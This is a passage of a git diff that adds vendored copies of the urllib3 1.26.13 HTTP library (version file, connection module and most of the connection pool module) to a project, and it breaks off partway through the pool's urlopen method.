diff --git a/function/http/package/urllib3/_version.py b/function/http/package/urllib3/_version.py new file mode 100644 index 0000000..308d7f2 --- /dev/null +++ b/function/http/package/urllib3/_version.py @@ -0,0 +1,2 @@ +# This file is protected via CODEOWNERS +__version__ = "1.26.13" diff --git a/function/http/package/urllib3/connection.py b/function/http/package/urllib3/connection.py new file mode 100644 index 0000000..10fb36c --- /dev/null +++ b/function/http/package/urllib3/connection.py @@ -0,0 +1,567 @@ +from __future__ import absolute_import + +import datetime +import logging +import os +import re +import socket +import warnings +from socket import error as SocketError +from socket import timeout as SocketTimeout + +from .packages import six +from .packages.six.moves.http_client import HTTPConnection as _HTTPConnection +from .packages.six.moves.http_client import HTTPException # noqa: F401 +from .util.proxy import create_proxy_ssl_context + +try: # Compiled with SSL? + import ssl + + BaseSSLError = ssl.SSLError +except (ImportError, AttributeError): # Platform-specific: No SSL. + ssl = None + + class BaseSSLError(BaseException): + pass + + +try: + # Python 3: not a no-op, we're adding this to the namespace so it can be imported. + ConnectionError = ConnectionError +except NameError: + # Python 2 + class ConnectionError(Exception): + pass + + +try: # Python 3: + # Not a no-op, we're adding this to the namespace so it can be imported. + BrokenPipeError = BrokenPipeError +except NameError: # Python 2: + + class BrokenPipeError(Exception): + pass + + +from ._collections import HTTPHeaderDict # noqa (historical, removed in v2) +from ._version import __version__ +from .exceptions import ( + ConnectTimeoutError, + NewConnectionError, + SubjectAltNameWarning, + SystemTimeWarning, +) +from .util import SKIP_HEADER, SKIPPABLE_HEADERS, connection +from .util.ssl_ import ( + assert_fingerprint, + create_urllib3_context, + is_ipaddress, + resolve_cert_reqs, + resolve_ssl_version, + ssl_wrap_socket, +) +from .util.ssl_match_hostname import CertificateError, match_hostname + +log = logging.getLogger(__name__) + +port_by_scheme = {"http": 80, "https": 443} + +# When it comes time to update this value as a part of regular maintenance +# (ie test_recent_date is failing) update it to ~6 months before the current date. +RECENT_DATE = datetime.date(2022, 1, 1) + +_CONTAINS_CONTROL_CHAR_RE = re.compile(r"[^-!#$%&'*+.^_`|~0-9a-zA-Z]") + + +class HTTPConnection(_HTTPConnection, object): + """ + Based on :class:`http.client.HTTPConnection` but provides an extra constructor + backwards-compatibility layer between older and newer Pythons. + + Additional keyword parameters are used to configure attributes of the connection. + Accepted parameters include: + + - ``strict``: See the documentation on :class:`urllib3.connectionpool.HTTPConnectionPool` + - ``source_address``: Set the source address for the current connection. + - ``socket_options``: Set specific options on the underlying socket. If not specified, then + defaults are loaded from ``HTTPConnection.default_socket_options`` which includes disabling + Nagle's algorithm (sets TCP_NODELAY to 1) unless the connection is behind a proxy. + + For example, if you wish to enable TCP Keep Alive in addition to the defaults, + you might pass: + + .. code-block:: python + + HTTPConnection.default_socket_options + [ + (socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1), + ] + + Or you may want to disable the defaults by passing an empty list (e.g., ``[]``). + """ + + default_port = port_by_scheme["http"] + + #: Disable Nagle's algorithm by default. + #: ``[(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)]`` + default_socket_options = [(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)] + + #: Whether this connection verifies the host's certificate. + is_verified = False + + #: Whether this proxy connection (if used) verifies the proxy host's + #: certificate. + proxy_is_verified = None + + def __init__(self, *args, **kw): + if not six.PY2: + kw.pop("strict", None) + + # Pre-set source_address. + self.source_address = kw.get("source_address") + + #: The socket options provided by the user. If no options are + #: provided, we use the default options. + self.socket_options = kw.pop("socket_options", self.default_socket_options) + + # Proxy options provided by the user. + self.proxy = kw.pop("proxy", None) + self.proxy_config = kw.pop("proxy_config", None) + + _HTTPConnection.__init__(self, *args, **kw) + + @property + def host(self): + """ + Getter method to remove any trailing dots that indicate the hostname is an FQDN. + + In general, SSL certificates don't include the trailing dot indicating a + fully-qualified domain name, and thus, they don't validate properly when + checked against a domain name that includes the dot. In addition, some + servers may not expect to receive the trailing dot when provided. + + However, the hostname with trailing dot is critical to DNS resolution; doing a + lookup with the trailing dot will properly only resolve the appropriate FQDN, + whereas a lookup without a trailing dot will search the system's search domain + list. Thus, it's important to keep the original host around for use only in + those cases where it's appropriate (i.e., when doing DNS lookup to establish the + actual TCP connection across which we're going to send HTTP requests). + """ + return self._dns_host.rstrip(".") + + @host.setter + def host(self, value): + """ + Setter for the `host` property. + + We assume that only urllib3 uses the _dns_host attribute; httplib itself + only uses `host`, and it seems reasonable that other libraries follow suit. + """ + self._dns_host = value + + def _new_conn(self): + """Establish a socket connection and set nodelay settings on it. + + :return: New socket connection. + """ + extra_kw = {} + if self.source_address: + extra_kw["source_address"] = self.source_address + + if self.socket_options: + extra_kw["socket_options"] = self.socket_options + + try: + conn = connection.create_connection( + (self._dns_host, self.port), self.timeout, **extra_kw + ) + + except SocketTimeout: + raise ConnectTimeoutError( + self, + "Connection to %s timed out. (connect timeout=%s)" + % (self.host, self.timeout), + ) + + except SocketError as e: + raise NewConnectionError( + self, "Failed to establish a new connection: %s" % e + ) + + return conn + + def _is_using_tunnel(self): + # Google App Engine's httplib does not define _tunnel_host + return getattr(self, "_tunnel_host", None) + + def _prepare_conn(self, conn): + self.sock = conn + if self._is_using_tunnel(): + # TODO: Fix tunnel so it doesn't depend on self.sock state. + self._tunnel() + # Mark this connection as not reusable + self.auto_open = 0 + + def connect(self): + conn = self._new_conn() + self._prepare_conn(conn) + + def putrequest(self, method, url, *args, **kwargs): + """ """ + # Empty docstring because the indentation of CPython's implementation + # is broken but we don't want this method in our documentation. + match = _CONTAINS_CONTROL_CHAR_RE.search(method) + if match: + raise ValueError( + "Method cannot contain non-token characters %r (found at least %r)" + % (method, match.group()) + ) + + return _HTTPConnection.putrequest(self, method, url, *args, **kwargs) + + def putheader(self, header, *values): + """ """ + if not any(isinstance(v, str) and v == SKIP_HEADER for v in values): + _HTTPConnection.putheader(self, header, *values) + elif six.ensure_str(header.lower()) not in SKIPPABLE_HEADERS: + raise ValueError( + "urllib3.util.SKIP_HEADER only supports '%s'" + % ("', '".join(map(str.title, sorted(SKIPPABLE_HEADERS))),) + ) + + def request(self, method, url, body=None, headers=None): + if headers is None: + headers = {} + else: + # Avoid modifying the headers passed into .request() + headers = headers.copy() + if "user-agent" not in (six.ensure_str(k.lower()) for k in headers): + headers["User-Agent"] = _get_default_user_agent() + super(HTTPConnection, self).request(method, url, body=body, headers=headers) + + def request_chunked(self, method, url, body=None, headers=None): + """ + Alternative to the common request method, which sends the + body with chunked encoding and not as one block + """ + headers = headers or {} + header_keys = set([six.ensure_str(k.lower()) for k in headers]) + skip_accept_encoding = "accept-encoding" in header_keys + skip_host = "host" in header_keys + self.putrequest( + method, url, skip_accept_encoding=skip_accept_encoding, skip_host=skip_host + ) + if "user-agent" not in header_keys: + self.putheader("User-Agent", _get_default_user_agent()) + for header, value in headers.items(): + self.putheader(header, value) + if "transfer-encoding" not in header_keys: + self.putheader("Transfer-Encoding", "chunked") + self.endheaders() + + if body is not None: + stringish_types = six.string_types + (bytes,) + if isinstance(body, stringish_types): + body = (body,) + for chunk in body: + if not chunk: + continue + if not isinstance(chunk, bytes): + chunk = chunk.encode("utf8") + len_str = hex(len(chunk))[2:] + to_send = bytearray(len_str.encode()) + to_send += b"\r\n" + to_send += chunk + to_send += b"\r\n" + self.send(to_send) + + # After the if clause, to always have a closed body + self.send(b"0\r\n\r\n") + + +class HTTPSConnection(HTTPConnection): + """ + Many of the parameters to this constructor are passed to the underlying SSL + socket by means of :py:func:`urllib3.util.ssl_wrap_socket`. + """ + + default_port = port_by_scheme["https"] + + cert_reqs = None + ca_certs = None + ca_cert_dir = None + ca_cert_data = None + ssl_version = None + assert_fingerprint = None + tls_in_tls_required = False + + def __init__( + self, + host, + port=None, + key_file=None, + cert_file=None, + key_password=None, + strict=None, + timeout=socket._GLOBAL_DEFAULT_TIMEOUT, + ssl_context=None, + server_hostname=None, + **kw + ): + + HTTPConnection.__init__(self, host, port, strict=strict, timeout=timeout, **kw) + + self.key_file = key_file + self.cert_file = cert_file + self.key_password = key_password + self.ssl_context = ssl_context + self.server_hostname = server_hostname + + # Required property for Google AppEngine 1.9.0 which otherwise causes + # HTTPS requests to go out as HTTP. (See Issue #356) + self._protocol = "https" + + def set_cert( + self, + key_file=None, + cert_file=None, + cert_reqs=None, + key_password=None, + ca_certs=None, + assert_hostname=None, + assert_fingerprint=None, + ca_cert_dir=None, + ca_cert_data=None, + ): + """ + This method should only be called once, before the connection is used. + """ + # If cert_reqs is not provided we'll assume CERT_REQUIRED unless we also + # have an SSLContext object in which case we'll use its verify_mode. + if cert_reqs is None: + if self.ssl_context is not None: + cert_reqs = self.ssl_context.verify_mode + else: + cert_reqs = resolve_cert_reqs(None) + + self.key_file = key_file + self.cert_file = cert_file + self.cert_reqs = cert_reqs + self.key_password = key_password + self.assert_hostname = assert_hostname + self.assert_fingerprint = assert_fingerprint + self.ca_certs = ca_certs and os.path.expanduser(ca_certs) + self.ca_cert_dir = ca_cert_dir and os.path.expanduser(ca_cert_dir) + self.ca_cert_data = ca_cert_data + + def connect(self): + # Add certificate verification + self.sock = conn = self._new_conn() + hostname = self.host + tls_in_tls = False + + if self._is_using_tunnel(): + if self.tls_in_tls_required: + self.sock = conn = self._connect_tls_proxy(hostname, conn) + tls_in_tls = True + + # Calls self._set_hostport(), so self.host is + # self._tunnel_host below. + self._tunnel() + # Mark this connection as not reusable + self.auto_open = 0 + + # Override the host with the one we're requesting data from. + hostname = self._tunnel_host + + server_hostname = hostname + if self.server_hostname is not None: + server_hostname = self.server_hostname + + is_time_off = datetime.date.today() < RECENT_DATE + if is_time_off: + warnings.warn( + ( + "System time is way off (before {0}). This will probably " + "lead to SSL verification errors" + ).format(RECENT_DATE), + SystemTimeWarning, + ) + + # Wrap socket using verification with the root certs in + # trusted_root_certs + default_ssl_context = False + if self.ssl_context is None: + default_ssl_context = True + self.ssl_context = create_urllib3_context( + ssl_version=resolve_ssl_version(self.ssl_version), + cert_reqs=resolve_cert_reqs(self.cert_reqs), + ) + + context = self.ssl_context + context.verify_mode = resolve_cert_reqs(self.cert_reqs) + + # Try to load OS default certs if none are given. + # Works well on Windows (requires Python3.4+) + if ( + not self.ca_certs + and not self.ca_cert_dir + and not self.ca_cert_data + and default_ssl_context + and hasattr(context, "load_default_certs") + ): + context.load_default_certs() + + self.sock = ssl_wrap_socket( + sock=conn, + keyfile=self.key_file, + certfile=self.cert_file, + key_password=self.key_password, + ca_certs=self.ca_certs, + ca_cert_dir=self.ca_cert_dir, + ca_cert_data=self.ca_cert_data, + server_hostname=server_hostname, + ssl_context=context, + tls_in_tls=tls_in_tls, + ) + + # If we're using all defaults and the connection + # is TLSv1 or TLSv1.1 we throw a DeprecationWarning + # for the host. + if ( + default_ssl_context + and self.ssl_version is None + and hasattr(self.sock, "version") + and self.sock.version() in {"TLSv1", "TLSv1.1"} + ): + warnings.warn( + "Negotiating TLSv1/TLSv1.1 by default is deprecated " + "and will be disabled in urllib3 v2.0.0. Connecting to " + "'%s' with '%s' can be enabled by explicitly opting-in " + "with 'ssl_version'" % (self.host, self.sock.version()), + DeprecationWarning, + ) + + if self.assert_fingerprint: + assert_fingerprint( + self.sock.getpeercert(binary_form=True), self.assert_fingerprint + ) + elif ( + context.verify_mode != ssl.CERT_NONE + and not getattr(context, "check_hostname", False) + and self.assert_hostname is not False + ): + # While urllib3 attempts to always turn off hostname matching from + # the TLS library, this cannot always be done. So we check whether + # the TLS Library still thinks it's matching hostnames. + cert = self.sock.getpeercert() + if not cert.get("subjectAltName", ()): + warnings.warn( + ( + "Certificate for {0} has no `subjectAltName`, falling back to check for a " + "`commonName` for now. This feature is being removed by major browsers and " + "deprecated by RFC 2818. (See https://github.com/urllib3/urllib3/issues/497 " + "for details.)".format(hostname) + ), + SubjectAltNameWarning, + ) + _match_hostname(cert, self.assert_hostname or server_hostname) + + self.is_verified = ( + context.verify_mode == ssl.CERT_REQUIRED + or self.assert_fingerprint is not None + ) + + def _connect_tls_proxy(self, hostname, conn): + """ + Establish a TLS connection to the proxy using the provided SSL context. + """ + proxy_config = self.proxy_config + ssl_context = proxy_config.ssl_context + if ssl_context: + # If the user provided a proxy context, we assume CA and client + # certificates have already been set + return ssl_wrap_socket( + sock=conn, + server_hostname=hostname, + ssl_context=ssl_context, + ) + + ssl_context = create_proxy_ssl_context( + self.ssl_version, + self.cert_reqs, + self.ca_certs, + self.ca_cert_dir, + self.ca_cert_data, + ) + + # If no cert was provided, use only the default options for server + # certificate validation + socket = ssl_wrap_socket( + sock=conn, + ca_certs=self.ca_certs, + ca_cert_dir=self.ca_cert_dir, + ca_cert_data=self.ca_cert_data, + server_hostname=hostname, + ssl_context=ssl_context, + ) + + if ssl_context.verify_mode != ssl.CERT_NONE and not getattr( + ssl_context, "check_hostname", False + ): + # While urllib3 attempts to always turn off hostname matching from + # the TLS library, this cannot always be done. So we check whether + # the TLS Library still thinks it's matching hostnames. + cert = socket.getpeercert() + if not cert.get("subjectAltName", ()): + warnings.warn( + ( + "Certificate for {0} has no `subjectAltName`, falling back to check for a " + "`commonName` for now. This feature is being removed by major browsers and " + "deprecated by RFC 2818. (See https://github.com/urllib3/urllib3/issues/497 " + "for details.)".format(hostname) + ), + SubjectAltNameWarning, + ) + _match_hostname(cert, hostname) + + self.proxy_is_verified = ssl_context.verify_mode == ssl.CERT_REQUIRED + return socket + + +def _match_hostname(cert, asserted_hostname): + # Our upstream implementation of ssl.match_hostname() + # only applies this normalization to IP addresses so it doesn't + # match DNS SANs so we do the same thing! + stripped_hostname = asserted_hostname.strip("u[]") + if is_ipaddress(stripped_hostname): + asserted_hostname = stripped_hostname + + try: + match_hostname(cert, asserted_hostname) + except CertificateError as e: + log.warning( + "Certificate did not match expected hostname: %s. Certificate: %s", + asserted_hostname, + cert, + ) + # Add cert to exception and reraise so client code can inspect + # the cert when catching the exception, if they want to + e._peer_cert = cert + raise + + +def _get_default_user_agent(): + return "python-urllib3/%s" % __version__ + + +class DummyConnection(object): + """Used to detect a failed ConnectionCls import.""" + + pass + + +if not ssl: + HTTPSConnection = DummyConnection # noqa: F811 + + +VerifiedHTTPSConnection = HTTPSConnection diff --git a/function/http/package/urllib3/connectionpool.py b/function/http/package/urllib3/connectionpool.py new file mode 100644 index 0000000..7087392 --- /dev/null +++ b/function/http/package/urllib3/connectionpool.py @@ -0,0 +1,1110 @@ +from __future__ import absolute_import + +import errno +import logging +import re +import socket +import sys +import warnings +from socket import error as SocketError +from socket import timeout as SocketTimeout + +from .connection import ( + BaseSSLError, + BrokenPipeError, + DummyConnection, + HTTPConnection, + HTTPException, + HTTPSConnection, + VerifiedHTTPSConnection, + port_by_scheme, +) +from .exceptions import ( + ClosedPoolError, + EmptyPoolError, + HeaderParsingError, + HostChangedError, + InsecureRequestWarning, + LocationValueError, + MaxRetryError, + NewConnectionError, + ProtocolError, + ProxyError, + ReadTimeoutError, + SSLError, + TimeoutError, +) +from .packages import six +from .packages.six.moves import queue +from .request import RequestMethods +from .response import HTTPResponse +from .util.connection import is_connection_dropped +from .util.proxy import connection_requires_http_tunnel +from .util.queue import LifoQueue +from .util.request import set_file_position +from .util.response import assert_header_parsing +from .util.retry import Retry +from .util.ssl_match_hostname import CertificateError +from .util.timeout import Timeout +from .util.url import Url, _encode_target +from .util.url import _normalize_host as normalize_host +from .util.url import get_host, parse_url + +xrange = six.moves.xrange + +log = logging.getLogger(__name__) + +_Default = object() + + +# Pool objects +class ConnectionPool(object): + """ + Base class for all connection pools, such as + :class:`.HTTPConnectionPool` and :class:`.HTTPSConnectionPool`. + + .. note:: + ConnectionPool.urlopen() does not normalize or percent-encode target URIs + which is useful if your target server doesn't support percent-encoded + target URIs. + """ + + scheme = None + QueueCls = LifoQueue + + def __init__(self, host, port=None): + if not host: + raise LocationValueError("No host specified.") + + self.host = _normalize_host(host, scheme=self.scheme) + self._proxy_host = host.lower() + self.port = port + + def __str__(self): + return "%s(host=%r, port=%r)" % (type(self).__name__, self.host, self.port) + + def __enter__(self): + return self + + def __exit__(self, exc_type, exc_val, exc_tb): + self.close() + # Return False to re-raise any potential exceptions + return False + + def close(self): + """ + Close all pooled connections and disable the pool. + """ + pass + + +# This is taken from http://hg.python.org/cpython/file/7aaba721ebc0/Lib/socket.py#l252 +_blocking_errnos = {errno.EAGAIN, errno.EWOULDBLOCK} + + +class HTTPConnectionPool(ConnectionPool, RequestMethods): + """ + Thread-safe connection pool for one host. + + :param host: + Host used for this HTTP Connection (e.g. "localhost"), passed into + :class:`http.client.HTTPConnection`. + + :param port: + Port used for this HTTP Connection (None is equivalent to 80), passed + into :class:`http.client.HTTPConnection`. + + :param strict: + Causes BadStatusLine to be raised if the status line can't be parsed + as a valid HTTP/1.0 or 1.1 status line, passed into + :class:`http.client.HTTPConnection`. + + .. note:: + Only works in Python 2. This parameter is ignored in Python 3. + + :param timeout: + Socket timeout in seconds for each individual connection. This can + be a float or integer, which sets the timeout for the HTTP request, + or an instance of :class:`urllib3.util.Timeout` which gives you more + fine-grained control over request timeouts. After the constructor has + been parsed, this is always a `urllib3.util.Timeout` object. + + :param maxsize: + Number of connections to save that can be reused. More than 1 is useful + in multithreaded situations. If ``block`` is set to False, more + connections will be created but they will not be saved once they've + been used. + + :param block: + If set to True, no more than ``maxsize`` connections will be used at + a time. When no free connections are available, the call will block + until a connection has been released. This is a useful side effect for + particular multithreaded situations where one does not want to use more + than maxsize connections per host to prevent flooding. + + :param headers: + Headers to include with all requests, unless other headers are given + explicitly. + + :param retries: + Retry configuration to use by default with requests in this pool. + + :param _proxy: + Parsed proxy URL, should not be used directly, instead, see + :class:`urllib3.ProxyManager` + + :param _proxy_headers: + A dictionary with proxy headers, should not be used directly, + instead, see :class:`urllib3.ProxyManager` + + :param \\**conn_kw: + Additional parameters are used to create fresh :class:`urllib3.connection.HTTPConnection`, + :class:`urllib3.connection.HTTPSConnection` instances. + """ + + scheme = "http" + ConnectionCls = HTTPConnection + ResponseCls = HTTPResponse + + def __init__( + self, + host, + port=None, + strict=False, + timeout=Timeout.DEFAULT_TIMEOUT, + maxsize=1, + block=False, + headers=None, + retries=None, + _proxy=None, + _proxy_headers=None, + _proxy_config=None, + **conn_kw + ): + ConnectionPool.__init__(self, host, port) + RequestMethods.__init__(self, headers) + + self.strict = strict + + if not isinstance(timeout, Timeout): + timeout = Timeout.from_float(timeout) + + if retries is None: + retries = Retry.DEFAULT + + self.timeout = timeout + self.retries = retries + + self.pool = self.QueueCls(maxsize) + self.block = block + + self.proxy = _proxy + self.proxy_headers = _proxy_headers or {} + self.proxy_config = _proxy_config + + # Fill the queue up so that doing get() on it will block properly + for _ in xrange(maxsize): + self.pool.put(None) + + # These are mostly for testing and debugging purposes. + self.num_connections = 0 + self.num_requests = 0 + self.conn_kw = conn_kw + + if self.proxy: + # Enable Nagle's algorithm for proxies, to avoid packet fragmentation. + # We cannot know if the user has added default socket options, so we cannot replace the + # list. + self.conn_kw.setdefault("socket_options", []) + + self.conn_kw["proxy"] = self.proxy + self.conn_kw["proxy_config"] = self.proxy_config + + def _new_conn(self): + """ + Return a fresh :class:`HTTPConnection`. + """ + self.num_connections += 1 + log.debug( + "Starting new HTTP connection (%d): %s:%s", + self.num_connections, + self.host, + self.port or "80", + ) + + conn = self.ConnectionCls( + host=self.host, + port=self.port, + timeout=self.timeout.connect_timeout, + strict=self.strict, + **self.conn_kw + ) + return conn + + def _get_conn(self, timeout=None): + """ + Get a connection. Will return a pooled connection if one is available. + + If no connections are available and :prop:`.block` is ``False``, then a + fresh connection is returned. + + :param timeout: + Seconds to wait before giving up and raising + :class:`urllib3.exceptions.EmptyPoolError` if the pool is empty and + :prop:`.block` is ``True``. + """ + conn = None + try: + conn = self.pool.get(block=self.block, timeout=timeout) + + except AttributeError: # self.pool is None + raise ClosedPoolError(self, "Pool is closed.") + + except queue.Empty: + if self.block: + raise EmptyPoolError( + self, + "Pool reached maximum size and no more connections are allowed.", + ) + pass # Oh well, we'll create a new connection then + + # If this is a persistent connection, check if it got disconnected + if conn and is_connection_dropped(conn): + log.debug("Resetting dropped connection: %s", self.host) + conn.close() + if getattr(conn, "auto_open", 1) == 0: + # This is a proxied connection that has been mutated by + # http.client._tunnel() and cannot be reused (since it would + # attempt to bypass the proxy) + conn = None + + return conn or self._new_conn() + + def _put_conn(self, conn): + """ + Put a connection back into the pool. + + :param conn: + Connection object for the current host and port as returned by + :meth:`._new_conn` or :meth:`._get_conn`. + + If the pool is already full, the connection is closed and discarded + because we exceeded maxsize. If connections are discarded frequently, + then maxsize should be increased. + + If the pool is closed, then the connection will be closed and discarded. + """ + try: + self.pool.put(conn, block=False) + return # Everything is dandy, done. + except AttributeError: + # self.pool is None. + pass + except queue.Full: + # This should never happen if self.block == True + log.warning( + "Connection pool is full, discarding connection: %s. Connection pool size: %s", + self.host, + self.pool.qsize(), + ) + # Connection never got put back into the pool, close it. + if conn: + conn.close() + + def _validate_conn(self, conn): + """ + Called right before a request is made, after the socket is created. + """ + pass + + def _prepare_proxy(self, conn): + # Nothing to do for HTTP connections. + pass + + def _get_timeout(self, timeout): + """Helper that always returns a :class:`urllib3.util.Timeout`""" + if timeout is _Default: + return self.timeout.clone() + + if isinstance(timeout, Timeout): + return timeout.clone() + else: + # User passed us an int/float. This is for backwards compatibility, + # can be removed later + return Timeout.from_float(timeout) + + def _raise_timeout(self, err, url, timeout_value): + """Is the error actually a timeout? Will raise a ReadTimeout or pass""" + + if isinstance(err, SocketTimeout): + raise ReadTimeoutError( + self, url, "Read timed out. (read timeout=%s)" % timeout_value + ) + + # See the above comment about EAGAIN in Python 3. In Python 2 we have + # to specifically catch it and throw the timeout error + if hasattr(err, "errno") and err.errno in _blocking_errnos: + raise ReadTimeoutError( + self, url, "Read timed out. (read timeout=%s)" % timeout_value + ) + + # Catch possible read timeouts thrown as SSL errors. If not the + # case, rethrow the original. We need to do this because of: + # http://bugs.python.org/issue10272 + if "timed out" in str(err) or "did not complete (read)" in str( + err + ): # Python < 2.7.4 + raise ReadTimeoutError( + self, url, "Read timed out. (read timeout=%s)" % timeout_value + ) + + def _make_request( + self, conn, method, url, timeout=_Default, chunked=False, **httplib_request_kw + ): + """ + Perform a request on a given urllib connection object taken from our + pool. + + :param conn: + a connection from one of our connection pools + + :param timeout: + Socket timeout in seconds for the request. This can be a + float or integer, which will set the same timeout value for + the socket connect and the socket read, or an instance of + :class:`urllib3.util.Timeout`, which gives you more fine-grained + control over your timeouts. + """ + self.num_requests += 1 + + timeout_obj = self._get_timeout(timeout) + timeout_obj.start_connect() + conn.timeout = timeout_obj.connect_timeout + + # Trigger any extra validation we need to do. + try: + self._validate_conn(conn) + except (SocketTimeout, BaseSSLError) as e: + # Py2 raises this as a BaseSSLError, Py3 raises it as socket timeout. + self._raise_timeout(err=e, url=url, timeout_value=conn.timeout) + raise + + # conn.request() calls http.client.*.request, not the method in + # urllib3.request. It also calls makefile (recv) on the socket. + try: + if chunked: + conn.request_chunked(method, url, **httplib_request_kw) + else: + conn.request(method, url, **httplib_request_kw) + + # We are swallowing BrokenPipeError (errno.EPIPE) since the server is + # legitimately able to close the connection after sending a valid response. + # With this behaviour, the received response is still readable. + except BrokenPipeError: + # Python 3 + pass + except IOError as e: + # Python 2 and macOS/Linux + # EPIPE and ESHUTDOWN are BrokenPipeError on Python 2, and EPROTOTYPE is needed on macOS + # https://erickt.github.io/blog/2014/11/19/adventures-in-debugging-a-potential-osx-kernel-bug/ + if e.errno not in { + errno.EPIPE, + errno.ESHUTDOWN, + errno.EPROTOTYPE, + }: + raise + + # Reset the timeout for the recv() on the socket + read_timeout = timeout_obj.read_timeout + + # App Engine doesn't have a sock attr + if getattr(conn, "sock", None): + # In Python 3 socket.py will catch EAGAIN and return None when you + # try and read into the file pointer created by http.client, which + # instead raises a BadStatusLine exception. Instead of catching + # the exception and assuming all BadStatusLine exceptions are read + # timeouts, check for a zero timeout before making the request. + if read_timeout == 0: + raise ReadTimeoutError( + self, url, "Read timed out. (read timeout=%s)" % read_timeout + ) + if read_timeout is Timeout.DEFAULT_TIMEOUT: + conn.sock.settimeout(socket.getdefaulttimeout()) + else: # None or a value + conn.sock.settimeout(read_timeout) + + # Receive the response from the server + try: + try: + # Python 2.7, use buffering of HTTP responses + httplib_response = conn.getresponse(buffering=True) + except TypeError: + # Python 3 + try: + httplib_response = conn.getresponse() + except BaseException as e: + # Remove the TypeError from the exception chain in + # Python 3 (including for exceptions like SystemExit). + # Otherwise it looks like a bug in the code. + six.raise_from(e, None) + except (SocketTimeout, BaseSSLError, SocketError) as e: + self._raise_timeout(err=e, url=url, timeout_value=read_timeout) + raise + + # AppEngine doesn't have a version attr. + http_version = getattr(conn, "_http_vsn_str", "HTTP/?") + log.debug( + '%s://%s:%s "%s %s %s" %s %s', + self.scheme, + self.host, + self.port, + method, + url, + http_version, + httplib_response.status, + httplib_response.length, + ) + + try: + assert_header_parsing(httplib_response.msg) + except (HeaderParsingError, TypeError) as hpe: # Platform-specific: Python 3 + log.warning( + "Failed to parse headers (url=%s): %s", + self._absolute_url(url), + hpe, + exc_info=True, + ) + + return httplib_response + + def _absolute_url(self, path): + return Url(scheme=self.scheme, host=self.host, port=self.port, path=path).url + + def close(self): + """ + Close all pooled connections and disable the pool. + """ + if self.pool is None: + return + # Disable access to the pool + old_pool, self.pool = self.pool, None + + try: + while True: + conn = old_pool.get(block=False) + if conn: + conn.close() + + except queue.Empty: + pass # Done. + + def is_same_host(self, url): + """ + Check if the given ``url`` is a member of the same host as this + connection pool. + """ + if url.startswith("/"): + return True + + # TODO: Add optional support for socket.gethostbyname checking. + scheme, host, port = get_host(url) + if host is not None: + host = _normalize_host(host, scheme=scheme) + + # Use explicit default port for comparison when none is given + if self.port and not port: + port = port_by_scheme.get(scheme) + elif not self.port and port == port_by_scheme.get(scheme): + port = None + + return (scheme, host, port) == (self.scheme, self.host, self.port) + + def urlopen( + self, + method, + url, + body=None, + headers=None, + retries=None, + redirect=True, + assert_same_host=True, + timeout=_Default, + pool_timeout=None, + release_conn=None, + chunked=False, + body_pos=None, + **response_kw + ): + """ + Get a connection from the pool and perform an HTTP request. This is the + lowest level call for making a request, so you'll need to specify all + the raw details. + + .. note:: + + More commonly, it's appropriate to use a convenience method provided + by :class:`.RequestMethods`, such as :meth:`request`. + + .. note:: + + `release_conn` will only behave as expected if + `preload_content=False` because we want to make + `preload_content=False` the default behaviour someday soon without + breaking backwards compatibility. + + :param method: + HTTP request method (such as GET, POST, PUT, etc.) + + :param url: + The URL to perform the request on. + + :param body: + Data to send in the request body, either :class:`str`, :class:`bytes`, + an iterable of :class:`str`/:class:`bytes`, or a file-like object. + + :param headers: + Dictionary of custom headers to send, such as User-Agent, + If-None-Match, etc. If None, pool headers are used. If provided, + these headers completely replace any pool-specific headers. + + :param retries: + Configure the number of retries to allow before raising a + :class:`~urllib3.exceptions.MaxRetryError` exception. + + Pass ``None`` to retry until you receive a response. Pass a + :class:`~urllib3.util.retry.Retry` object for fine-grained control + over different types of retries. + Pass an integer number to retry connection errors that many times, + but no other types of errors. Pass zero to never retry. + + If ``False``, then retries are disabled and any exception is raised + immediately. Also, instead of raising a MaxRetryError on redirects, + the redirect response will be returned. + + :type retries: :class:`~urllib3.util.retry.Retry`, False, or an int. + + :param redirect: + If True, automatically handle redirects (status codes 301, 302, + 303, 307, 308). Each redirect counts as a retry. Disabling retries + will disable redirect, too. + + :param assert_same_host: + If ``True``, will make sure that the host of the pool requests is + consistent else will raise HostChangedError. When ``False``, you can + use the pool on an HTTP proxy and request foreign hosts. + + :param timeout: + If specified, overrides the default timeout for this one + request. It may be a float (in seconds) or an instance of + :class:`urllib3.util.Timeout`. + + :param pool_timeout: + If set and the pool is set to block=True, then this method will + block for ``pool_timeout`` seconds and raise EmptyPoolError if no + connection is available within the time period. + + :param release_conn: + If False, then the urlopen call will not release the connection + back into the pool once a response is received (but will release if + you read the entire contents of the response such as when + `preload_content=True`). This is useful if you're not preloading + the response's content immediately. You will need to call + ``r.release_conn()`` on the response ``r`` to return the connection + back into the pool. If None, it takes the value of + ``response_kw.get('preload_content', True)``. + + :param chunked: + If True, urllib3 will send the body using chunked transfer + encoding. Otherwise, urllib3 will send the body using the standard + content-length form. Defaults to False. + + :param int body_pos: + Position to seek to in file-like body in the event of a retry or + redirect. Typically this won't need to be set because urllib3 will + auto-populate the value when needed. + + :param \\**response_kw: + Additional parameters are passed to + :meth:`urllib3.response.HTTPResponse.from_httplib` + """ + + parsed_url = parse_url(url) + destination_scheme = parsed_url.scheme + + if headers is None: + headers = self.headers + + if not isinstance(retries, Retry): + retries = Retry.from_int(retries, redirect=redirect, default=self.retries) + + if release_conn is None: + release_conn = response_kw.get("preload_content", True) + + # Check host + if assert_same_host and not self.is_same_host(url): + raise HostChangedError(self, url, retries) + + # Ensure that the URL we're connecting to is properly encoded + if url.startswith("/"): + url = six.ensure_str(_encode_target(url)) + else: + url = six.ensure_str(parsed_url.url) + + conn = None + + # Track whether `conn` needs to be released before + # returning/raising/recursing. Update this variable if necessary, and + # leave `release_conn` constant throughout the function. That way, if + # the function recurses, the original value of `release_conn` will be + # passed down into the recursive call, and its value will be respected. + # + # See issue #651 [1] for details. + # + # [1] + release_this_conn = release_conn + + http_tunnel_required = connection_requires_http_tunnel( + self.proxy, self.proxy_config, destination_scheme + ) + + # Merge the proxy headers. Only done when not using HTTP CONNECT. We + # have to copy the headers dict so we can safely change it without those + # changes being reflected in anyone else's copy. + if not http_tunnel_required: + headers = headers.copy() + headers.update(self.proxy_headers) + + # Must keep the exception bound to a separate variable or else Python 3 + # complains about UnboundLocalError. + err = None + + # Keep track of whether we cleanly exited the except block. This + # ensures we do proper cleanup in finally. + clean_exit = False + + # Rewind body position, 